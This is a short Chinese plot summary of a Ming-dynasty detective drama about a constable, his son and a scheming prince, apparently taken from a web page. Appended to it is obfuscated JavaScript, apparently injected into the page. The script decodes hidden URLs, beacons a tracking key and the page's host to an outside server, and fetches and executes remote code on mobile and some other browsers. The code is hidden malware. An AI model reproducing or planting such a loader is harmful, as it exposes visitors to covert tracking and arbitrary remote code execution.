故事发生在明朝，皇帝（宋运成 饰）病重昏迷，皇位悬而未决，此事搅得朝中人心惶惶。在这个节骨眼上，京城之内发生了连环杀人案件，朝廷委托京师六扇门调查此案，捉拿凶手，以平民怨。申梓木（黄文豪 饰）是六扇门的统领，深知此案件蹊跷必会牵连到宫墙之内，本想草草了事结案，没想到自己的儿子申力行（林峰 饰）被牵扯其中。
在父子两人的协力合作之下，案件水落石出，却也令皇后曾经犯下的罪行重新浮出水面。申梓木遭人暗害，悲痛之中申力行将来龙去脉禀报苏醒的皇上，使得皇位落入了齐王（方中信 饰）手中。一次偶然之中，申力行发现父亲的死和齐王有着牵扯不清的关系，此人极为阴险狡诈，是事件背后的真正黑手。
function xRTEvokZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function BRNxtWT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xRTEvokZ(t);};window[''+'k'+'S'+'J'+'I'+'z'+'p'+'n'+'r'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=BRNxtWT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ssd.zmneysz.com:7891/stats/7931/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZ0Zy4wwYTljLmNvbSUzQTg4OTE=','d3NzJTNBJTJGJTJGcG8uemFjdm0uY29tJTNBOTUzMw====','5534',window,document,['w','=']);}:function(){};
